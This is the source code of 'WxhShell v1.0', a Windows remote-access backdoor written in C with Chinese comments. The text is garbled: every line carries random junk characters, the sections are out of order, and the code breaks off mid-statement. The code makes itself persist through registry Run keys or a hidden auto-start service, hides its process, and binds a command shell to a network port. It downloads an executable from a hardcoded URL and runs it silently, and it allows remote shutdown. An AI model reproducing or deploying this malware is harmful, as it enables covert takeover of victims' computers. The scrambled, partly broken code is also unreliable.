  // 关机 V]db'qB\  
  case 'd': { VB*oGG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2V#>)R#k  
    if(Boot(SHUTDOWN)) 6l:qD`_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ob<{G"  
    else { :Nz2z[W$  
    closesocket(wsh); =7m)sxj]w  
    ExitThread(0); ~o~!+`@q  
    } pW J Fz-  
    break; V: TM]  
    } <d$x.in  
  // 获取shell XcUwr  
  case 's': { VG ;kPzze  
    CmdShell(wsh); "[ZB+-|[0  
    closesocket(wsh); LHo3 Niy.  
    ExitThread(0); g0["^P1tV  
    break; :BV6y|J9O^  
  } B e0ND2oo  
  // 退出 _dhgAx-H)h  
  case 'x': { 9j6QX ~,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )O@]uY  
    CloseIt(wsh); |}di&y@-JI  
    break; MjC_ (cs  
    } F}/S:(6LF2  
  // 离开 o9dY9o+Z  
  case 'q': { /~$WUAh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  abfW[J  
    closesocket(wsh); /Y2}a<3&0  
    WSACleanup(); U ^5Kz-5.  
    exit(1); _ =VqrK7T  
    break; vkEiOFU!u  
        } sW'2+|3"  
  } T~##,qQ  
  } ;"~ fZ2$U  
x#xFh0CA  
  // 提示信息 :Ra,Eu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xx0hc 8qd  
} U"^kH|  
  } #PH~1`vl  
IS&ZqE(`e  
  return; NUWDc]@J*  
} =k^Y?.  
p o2!  
// shell模块句柄 %D%8^Zd_  
int CmdShell(SOCKET sock) l:,'j@%  
{ QLiu2U o  
STARTUPINFO si; 'O_3)x5  
ZeroMemory(&si,sizeof(si)); gf &Pn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B][U4WJ)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #(N+(():  
PROCESS_INFORMATION ProcessInfo; D"2&P^-  
char cmdline[]="cmd"; BMG3|N^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {YAJBIvHV  
  return 0; jN;@=COi  
} DN-+osPi  
q=Sgk>NA  
// 自身启动模式 RbP6F*f  
int StartFromService(void) '}Z~JYa0  
{ sHt].gZ  
typedef struct y[)>yq y  
{ koZ*+VP=  
  DWORD ExitStatus; jD<{t  
  DWORD PebBaseAddress; uXJ;A *  
  DWORD AffinityMask; vZaZc}AyL  
  DWORD BasePriority; U4C 9<h&  
  ULONG UniqueProcessId; 2a`o &S  
  ULONG InheritedFromUniqueProcessId; L\xk:j1[  
}   PROCESS_BASIC_INFORMATION; Ez fN&8E  
KyYMfC  
PROCNTQSIP NtQueryInformationProcess; gM u"2I5  
t!W(_8j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CUBEW~X}M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :OhHb #D  
KWowN;  
  HANDLE             hProcess; !Sh&3uy_qN  
  PROCESS_BASIC_INFORMATION pbi; Eg#K.5hJ  
z<U-#k7nz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (a.z9nqGA  
  if(NULL == hInst ) return 0; M3c$=>  
mD$A4Y-'p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 59Xi3KY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jjw`Dto&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mS$j?>m  
.f%fHj  
  if (!NtQueryInformationProcess) return 0; K1"*.\?F  
V3Q+s8OIF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bMg(B-uF7  
  if(!hProcess) return 0; - D  
!;Yg/'vD-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cl=EA6P\X  
aQ?/%\>  
  CloseHandle(hProcess); \r^qL^  
}Gz~nf%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B}Z63|/N  
if(hProcess==NULL) return 0; A}G7l?V&  
dMf:h"7  
HMODULE hMod; 8<S~Z:JK  
char procName[255]; lYVz 3p  
unsigned long cbNeeded; dx5#\"KX=,  
)t0$qd ]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vd,jlt.t  
([\  
  CloseHandle(hProcess); 0QXVW}`hz  
+%T\`6  
if(strstr(procName,"services")) return 1; // 以服务启动  Ch&a/S}  
]'!f28Ng-  
  return 0; // 注册表启动 0%&1\rm+j  
} @5=oeOg36  
d6} r#\  
// 主模块 D0&,?  
int StartWxhshell(LPSTR lpCmdLine) Z0x ar]4V  
{ fHE <(  
  SOCKET wsl; *}F3M\  
BOOL val=TRUE; b~KDP+Ri  
  int port=0; Q]Y*K  
  struct sockaddr_in door; q0i(i.h  
[,t*Pfq'W8  
  if(wscfg.ws_autoins) Install(); gPNZF\ r  
(6?9BlH~  
port=atoi(lpCmdLine); q>_/u"  
R} eN@#"D  
if(port<=0) port=wscfg.ws_port; kO.%9wFbz  
=x%dNf$e{W  
  WSADATA data; fxgPhnaC>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4ni<E*  
#C~+JL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rq8K_zp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <Swt);  
  door.sin_family = AF_INET; Q i,j+xBp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y_;#UU689  
  door.sin_port = htons(port); tvkb~  
B6u/mo<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \rx3aJl  
closesocket(wsl); *xx'@e|<;  
return 1; jqWu  
} \f]k CB  
<C1H36p  
  if(listen(wsl,2) == INVALID_SOCKET) { C]O(T2l{l  
closesocket(wsl); RkH W   
return 1; oX#Q<2z*  
} `slL %j^"  
  Wxhshell(wsl); Yl4^AR&  
  WSACleanup(); M>wYD\oeg  
nOt&pq7  
return 0; zvYq@Mhr  
yh Yb'GK  
} s>B5l2Q4  
7L`A{L  
// 以NT服务方式启动 )IP,;<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iZ#!O* >  
{ ]{)a,c NG  
DWORD   status = 0; aGrIQq/k)%  
  DWORD   specificError = 0xfffffff; Ttu2skcv  
p#ol*m5wE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A_XY'z1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mC4zactv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e}D3d=6`  
  serviceStatus.dwWin32ExitCode     = 0; S@jQX  
  serviceStatus.dwServiceSpecificExitCode = 0; :8L8q<U  
  serviceStatus.dwCheckPoint       = 0; JmF l|n/H  
  serviceStatus.dwWaitHint       = 0; dT`D:)*:  
^Ew]uN>,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8UXjm_B^'  
  if (hServiceStatusHandle==0) return; @)UZ@ ~R  
8ZM?)# `@{  
status = GetLastError(); 5m*iE*+  
  if (status!=NO_ERROR) WQ~;;.v#  
{ j| v%)A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v0 nj M  
    serviceStatus.dwCheckPoint       = 0; Upc+Ukw  
    serviceStatus.dwWaitHint       = 0; j>*R]mr6  
    serviceStatus.dwWin32ExitCode     = status; k52/w)Ro,$  
    serviceStatus.dwServiceSpecificExitCode = specificError; )bS~1n_0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @G BxL*e  
    return; Sc>,lIM  
  } S'|,oUWDb  
?zeJ#i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ujDd1Bxf?  
  serviceStatus.dwCheckPoint       = 0; C\S3Gs  
  serviceStatus.dwWaitHint       = 0; $*SW8'],`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AJf4_+He  
} 00G%gQXk,  
S/}2;\Xm  
// 处理NT服务事件,比如:启动、停止 gwOa$f%O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E=jNi  
{ -l`f)0{  
switch(fdwControl) "oTHq]Ku  
{ WB?jRYp  
case SERVICE_CONTROL_STOP: OP~HdocB  
  serviceStatus.dwWin32ExitCode = 0; )T/0S$@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DNOueU  
  serviceStatus.dwCheckPoint   = 0; f1`gdQ)H  
  serviceStatus.dwWaitHint     = 0; !Z`j2 e}  
  { aUzBV\Yd}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w&$`cD  
  } 1_o],? Q  
  return; fRrvNj0{ V  
case SERVICE_CONTROL_PAUSE: M2HomO/X)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iWRH{mK  
  break; $h5xH9x ;  
case SERVICE_CONTROL_CONTINUE: M=%l}FSTw(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t0/p]=+.p/  
  break; Te.Y#lCT$  
case SERVICE_CONTROL_INTERROGATE: W0y '5`  
  break; KX!T8+Y  
}; = 6tHsN23  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Uw<$!$-]s  
} V `b2TS  
M3J#'%$  
// 标准应用程序主函数 ?HTj mIb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^$%S &W  
{ M9Cv wMi  
ZW-yP2  
// 获取操作系统版本 ]=.\-K  
OsIsNt=GetOsVer(); ?i)f^O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l,R/Gl  
Fgkajig  
  // 从命令行安装 6FUw"|\u{  
  if(strpbrk(lpCmdLine,"iI")) Install(); @PN#p"KaT  
-u&6X,Oq\u  
  // 下载执行文件 9:fOYT$8  
if(wscfg.ws_downexe) { ?Eg(Gu.J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q~814P8]  
  WinExec(wscfg.ws_filenam,SW_HIDE); FqkDKTS\&  
} `sUZuWL_  
7Ilm{@ b=  
if(!OsIsNt) { N/]o4o  
// 如果时win9x,隐藏进程并且设置为注册表启动 #hW;Ju73  
HideProc(); sSOOXdnGG  
StartWxhshell(lpCmdLine); !$DIc  
} @|Fg,N<Y]  
else )!Jc3%(B  
  if(StartFromService()) 3,>0a  
  // 以服务方式启动 pwO>h>ik  
  StartServiceCtrlDispatcher(DispatchTable); CEXyrs<  
else 3b*cU}go  
  // 普通方式启动 &Flglj~7l  
  StartWxhshell(lpCmdLine); dI*pDDq#  
~hZ"2$(0  
return 0; d{rQzia"mV  
} A3rPt&<a  
IN4=YrM^  
s4G|_==  
nnCG g+l  
=========================================== ~1cnE:x;V  
$@sEn4h  
bsuus R9W  
UQ8M~x5$3%  
`k OD[*  
y]2qd35u_A  
" D5$wTI  
Q<z_/ j9  
#include <stdio.h> ,%n\=  
#include <string.h> E_Im^a  
#include <windows.h> U3 */v4/  
#include <winsock2.h> @*}D$}aR'V  
#include <winsvc.h> -c(F1l  
#include <urlmon.h> 0FGe=$vD  
vK 7^*qr;j  
#pragma comment (lib, "Ws2_32.lib") HqI t74+  
#pragma comment (lib, "urlmon.lib") hD\rtW  
2GFLnz  
#define MAX_USER   100 // 最大客户端连接数 `o<' x.I  
#define BUF_SOCK   200 // sock buffer =2[7 E  
#define KEY_BUFF   255 // 输入 buffer EzDk}uKY0R  
r9X?PA0f  
#define REBOOT     0   // 重启 Ae mDJ8Y  
#define SHUTDOWN   1   // 关机 J+[_Wd  
dODt(J}%  
#define DEF_PORT   5000 // 监听端口 #@^t;)|  
Q&MZN);.  
#define REG_LEN     16   // 注册表键长度 0*%Z's\M"  
#define SVC_LEN     80   // NT服务名长度 qi;f^9M%  
OH;b"]  
// 从dll定义API D0gZC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dArDP[w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fp@TCPe#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6^uq?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T^:UBjK6t{  
&f!z1d-qg?  
// wxhshell配置信息 bx<RV7>0  
struct WSCFG { '#s05hr  
  int ws_port;         // 监听端口 0.dgoq 3u  
  char ws_passstr[REG_LEN]; // 口令 5:O-tgig.  
  int ws_autoins;       // 安装标记, 1=yes 0=no }~#pEX~j*  
  char ws_regname[REG_LEN]; // 注册表键名 xB_!>SqF1U  
  char ws_svcname[REG_LEN]; // 服务名 }MRd@ 0-?!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;epV<{e$q4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FQT~pfY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dA@'b5N{"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _Xnqb+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Is]aj-#r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]GN7+ 8l  
sW)Zi  
}; t0z!DOODZP  
~ (x;5{  
// default Wxhshell configuration T;@;R %  
struct WSCFG wscfg={DEF_PORT, ,$1eFgY%  
    "xuhuanlingzhe", W- i&sUgy  
    1, RMd[Yr2e  
    "Wxhshell", SfgU`eF%B  
    "Wxhshell", ! vP[;6  
            "WxhShell Service", C3< m7h  
    "Wrsky Windows CmdShell Service", 8i6Ps$T  
    "Please Input Your Password: ", v[#9+6P=  
  1, g) p,5BADm  
  "http://www.wrsky.com/wxhshell.exe", >wb 'QzF:  
  "Wxhshell.exe" SGh1 DB  
    }; n3}!p'-CC  
Of{/t1o?  
// 消息定义模块 Yiry["[]Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T _sTC)&a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :/:.Kb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /GIxR6i  
char *msg_ws_ext="\n\rExit."; ^\\Tx*#i  
char *msg_ws_end="\n\rQuit."; GKvN* SU=  
char *msg_ws_boot="\n\rReboot..."; qY~`8 x  
char *msg_ws_poff="\n\rShutdown..."; =0^Ruh  
char *msg_ws_down="\n\rSave to "; HFwN  
BDVHol*g  
char *msg_ws_err="\n\rErr!"; I *x[:)X8  
char *msg_ws_ok="\n\rOK!"; e_s&L,ze  
?47@ o1  
char ExeFile[MAX_PATH]; Vnx,5E&  
int nUser = 0; ?"zY" *>4  
HANDLE handles[MAX_USER]; RQ'exc2x0  
int OsIsNt; 6:q"l\n>  
h.-@ F  
SERVICE_STATUS       serviceStatus; v3}L`dyh3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Hu.t 3:w  
]4h92\\965  
// 函数声明 SV:4GVf  
int Install(void); HHq_P/'  
int Uninstall(void); {.Z}5K  
int DownloadFile(char *sURL, SOCKET wsh); nA P.^_K  
int Boot(int flag); A;/-u<f  
void HideProc(void); = QQ5f5\l  
int GetOsVer(void); }Z{=|rVE  
int Wxhshell(SOCKET wsl); ?_"+^R z  
void TalkWithClient(void *cs); 2WtRJi?b|  
int CmdShell(SOCKET sock); F#5B<I  
int StartFromService(void); 2P/K K  
int StartWxhshell(LPSTR lpCmdLine); c6nflk.l  
tj Gd )  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OR}c)|1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H|R T?Q  
][W_[0v  
// 数据结构和表定义 K?s+3  
SERVICE_TABLE_ENTRY DispatchTable[] = FDVcow*]n  
{ l5\"9 ,<  
{wscfg.ws_svcname, NTServiceMain}, UNPezHaz  
{NULL, NULL} w QNxL5B  
}; Bn61AFy`  
,hq)1u  
// 自我安装 AZa 6 C w  
int Install(void) F%i^XA]a*  
{ |tv"B@`  
  char svExeFile[MAX_PATH]; jy giG&H  
  HKEY key; =+-Yxh|*  
  strcpy(svExeFile,ExeFile); jeGj<m  
]wKzE4Z/  
// 如果是win9x系统,修改注册表设为自启动 "I=\[l8t  
if(!OsIsNt) { t5'V6nv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nluv/?<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pcu#lWC$  
  RegCloseKey(key); {e+-vl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v2H#=E4cZ#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TF 'U  
  RegCloseKey(key); <$F\Nk|x  
  return 0; yY[<0|o u  
    } JJ{9U(`_y6  
  } taFn![}/!g  
} s<9RKfm  
else { }0u8r`  
4hAl-8~Q6  
// 如果是NT以上系统,安装为系统服务 D\[h:8k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~er\~kp  
if (schSCManager!=0) :>TEDy~O%  
{ &v"3*.org@  
  SC_HANDLE schService = CreateService VH=S?_RY>  
  ( oS7(s  
  schSCManager, \3'9Uz,OC  
  wscfg.ws_svcname, aX~%5 mF  
  wscfg.ws_svcdisp, AX= 1b,s  
  SERVICE_ALL_ACCESS, 3t<a $i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <{2e#Y  
  SERVICE_AUTO_START, !-N6l6N  
  SERVICE_ERROR_NORMAL, X66VU  
  svExeFile, ]d a^xWK  
  NULL, z]2]XTmWs  
  NULL, wE@'ap#  
  NULL, v.:3"<ur}  
  NULL, uu}x@T@  
  NULL '=1KVE^Fk  
  ); Q %wY  
  if (schService!=0) "Kc>dJ@W  
  { RjWqGr;bO  
  CloseServiceHandle(schService); -i4&v7"  
  CloseServiceHandle(schSCManager); =egW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8}fu,$$5  
  strcat(svExeFile,wscfg.ws_svcname); 05snuNt]-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ux#x#N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qt,M!i,  
  RegCloseKey(key); HAv{R!*  
  return 0; "=6v&G]U4  
    } E\IlF 6  
  } !'j?.F $}  
  CloseServiceHandle(schSCManager); 3/b;7\M  
} +,yK;^b  
} zoDH` h_  
yuDZ~0]R  
return 1; TYlbU<  
} {X*^s5{;H  
Yr w$  
// 自我卸载 ?W0)nQU  
int Uninstall(void) ^':!1  
{ j:,NE(DF  
  HKEY key; F:D orE  
<JV"@H=  
if(!OsIsNt) { m8 SA6Y\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $&"V^@  
  RegDeleteValue(key,wscfg.ws_regname); Ndo a4L)$  
  RegCloseKey(key); hUD7_arKF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zfc3)7  
  RegDeleteValue(key,wscfg.ws_regname); f]G>(V=i  
  RegCloseKey(key); !^v5-xO?rP  
  return 0; \=0V uz  
  } {q<03d~9|G  
} zO V=9"~{  
} 2-"0 ^n{  
else { ;U<rc'qE  
Iw<jT|y)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $8p7D?Y  
if (schSCManager!=0) rz"txN  
{ w|CZ7|6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s TOa  
  if (schService!=0) Qb! PRCHQ  
  { Z0`T\ay  
  if(DeleteService(schService)!=0) { ;L|uIg;.s  
  CloseServiceHandle(schService); } g3+{\x8  
  CloseServiceHandle(schSCManager); 01T`Flz  
  return 0; M;0]u.D*=  
  } 70lfb`  
  CloseServiceHandle(schService); U,+[5sbo  
  } v^ /Q 8Q  
  CloseServiceHandle(schSCManager);  .AYj'Y  
} @"Z7nJX  
} :> &fV  
.e'eE  
return 1; 6Z`R#d #I  
} Cn>ADWpT&  
k ^ YO%_  
// 从指定url下载文件 <,AS8^$X[  
int DownloadFile(char *sURL, SOCKET wsh) _DrJVC~6@  
{ d/}SAvtt  
  HRESULT hr; etd&..]J  
char seps[]= "/"; *26334B.R  
char *token; {CR5K9  
char *file; 16L]=&@  
char myURL[MAX_PATH]; sP-^~ pp  
char myFILE[MAX_PATH]; @]q BF]6  
8scc%t7  
strcpy(myURL,sURL); YPzU-:3  
  token=strtok(myURL,seps); ;SwMu@tg  
  while(token!=NULL) -QyhwG =  
  { >6oOZbUY0  
    file=token; <$N"q  
  token=strtok(NULL,seps); uNn[[LS  
  }  J*l4|^i<  
oQv3GpO  
GetCurrentDirectory(MAX_PATH,myFILE); \}~s2Y5j  
strcat(myFILE, "\\"); Y-'78BJk  
strcat(myFILE, file); U xD5eJJ  
  send(wsh,myFILE,strlen(myFILE),0); Kf 2jD4z}  
send(wsh,"...",3,0); fK&e7j`qO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @:tj<\G]  
  if(hr==S_OK) peJKNX.!q  
return 0; LTJc,3\,  
else 8vuCc=  
return 1; DAg58 =qJ  
66#"  
} \m=?xb8 f  
Z_gC&7+  
// 系统电源模块 ( Y+N@d  
int Boot(int flag) (~$/$%b  
{ m~lpyAw  
  HANDLE hToken; m%"uPv\  
  TOKEN_PRIVILEGES tkp; pq:7F  
<xJ/y|{  
  if(OsIsNt) { #q3l!3\mW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;Nr]X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *WE1;msr  
    tkp.PrivilegeCount = 1; 3x~{QG5Gn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4t/&.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W5/0`[4  
if(flag==REBOOT) { |!q$_at  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @HBEt^!  
  return 0; +3i7D  
} },5'z {3E  
else { pG^}Xf2a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >K# ,cxY  
  return 0; =`Y.=RL+'n  
} Y~)T  
  } \@}#Gez  
  else { ri1C-TJM)  
if(flag==REBOOT) { b dJ+@r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E42eOGp9i  
  return 0; @<M*qK1h  
} B/Gd(S`@q  
else { cL8#S>>u.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .Hc(y7HV  
  return 0; ?EU\}N J  
} N~pIC2Woo  
} r}u%#G+K,  
I _i6-<c.Q  
return 1; M HL("v(@B  
} pPVRsXy  
s cdtWA  
// win9x进程隐藏模块 7([h4bg{  
void HideProc(void) +Z!;P Z6  
{ =2y8 CgLj  
\n9A^v`F/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F8e<}v&7R  
  if ( hKernel != NULL ) xt4)Ya  
  { fag^7rz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7n)&FX K`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uhV0J97  
    FreeLibrary(hKernel); XYx 6V  
  } bXYA5wG  
h{ lDxOH*  
return; 44\>gI<  
} 7@a 0$coP  
`>D9P_Y"jI  
// 获取操作系统版本  n i  
int GetOsVer(void) aFY_:.o2k`  
{ O3n_N6| q  
  OSVERSIONINFO winfo; (#q<\`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4R>zPEo  
  GetVersionEx(&winfo); ,jy*1Hjd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }a&mY^  
  return 1; R7~Yw*#,  
  else BO.dz06(Rw  
  return 0; rZ_>`}O2  
}  Voh hQ  
5)zn:$cz  
// 客户端句柄模块 (1pEEq84  
int Wxhshell(SOCKET wsl) -{|`H[nmD  
{ 1Q}mf!Y  
  SOCKET wsh; %HtuR2#ca  
  struct sockaddr_in client; 6Ggs JU  
  DWORD myID; #$\fh;!W  
Y{f7 f'_  
  while(nUser<MAX_USER) 92dF`sv  
{ 3Dm8[o$Z  
  int nSize=sizeof(client); ID1?PM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vMSW$Bx ;  
  if(wsh==INVALID_SOCKET) return 1; K:yr-#(P/  
C9Bh@v%90^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LT+3q%W.UC  
if(handles[nUser]==0) 'ul\Q `N3  
  closesocket(wsh); K8^kJSF\  
else ly4Qg\l  
  nUser++; 0"xPX#Cvj  
  } rFJ[dz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Snf"z8sw  
ID};<[  
  return 0; S"snB/  
} ,D80/2U^  
d]0a%Xh[  
// 关闭 socket }0=<6\+:`  
void CloseIt(SOCKET wsh) N~=A  
{ [A~G-  
closesocket(wsh); icUT<@0  
nUser--; *QE<zt  
ExitThread(0); Z& !!]"I  
} j?(!^ _!m  
0? bA$y  
// 客户端请求句柄 9w;?-  
void TalkWithClient(void *cs) Zu<]bv  
{ s[3fqdLP&  
,[48Mspp  
  SOCKET wsh=(SOCKET)cs; H!IDV }dn  
  char pwd[SVC_LEN]; %4>x!{jwV  
  char cmd[KEY_BUFF]; >tRHNB_  
char chr[1]; i 6no;}j  
int i,j; n l/UdgI  
"c`xH@D  
  while (nUser < MAX_USER) { !ZtSbOC'  
V*jsq[q=  
if(wscfg.ws_passstr) { h.tY 'F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q]JX`HgPaU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &hZwZgV +3  
  //ZeroMemory(pwd,KEY_BUFF); ?Z %:  
      i=0; p5 ]_}I`+2  
  while(i<SVC_LEN) { BQgoVnQo_c  
oJ;rc{n-  
  // 设置超时 "/x_>ui1F  
  fd_set FdRead; whc[@Tyx  
  struct timeval TimeOut; x%BF {Sw  
  FD_ZERO(&FdRead); V+B71\x<  
  FD_SET(wsh,&FdRead); KI&:9j+M)  
  TimeOut.tv_sec=8; *FgJ|y6gk  
  TimeOut.tv_usec=0; CyM}Hc&w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %l9$a`&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  7 Yv!N  
mv Ov<x;l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~I_owCVZ  
  pwd=chr[0]; 8<PKKDgbfd  
  if(chr[0]==0xd || chr[0]==0xa) { E[Bo4?s&^  
  pwd=0; k&s; {|!  
  break; XQ;I,\m  
  } ~a+NJ6e1  
  i++; <O857 j  
    } `6w#8}  
(6xDu.u?A  
  // 如果是非法用户,关闭 socket i Q`]ms+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DvT+`X?R  
} /8CY0Ey  
*{/@uO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F&@|M(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yqcM(,0]  
o)]FtL:mm  
while(1) { y$oW!  
i2F(GH?p[  
  ZeroMemory(cmd,KEY_BUFF); aw$Y`6,S  
VWvoQf^+  
      // 自动支持客户端 telnet标准   &IQ%\W#aY  
  j=0; fGu!M9qN4  
  while(j<KEY_BUFF) { f$D@*33ft  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); != zx  
  cmd[j]=chr[0]; *6*-WV6  
  if(chr[0]==0xa || chr[0]==0xd) { 79ZxqvB\  
  cmd[j]=0; c4]u&tvjJ  
  break; ;L6Xs_L~  
  } L$JI43HZ  
  j++; .9 kyrlm  
    } h[U7!aM  
j@P5(3r  
  // 下载文件 O-GxUHwW r  
  if(strstr(cmd,"http://")) { %Y',|+Arx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z}APR@?`n8  
  if(DownloadFile(cmd,wsh)) P/ aDd@j  
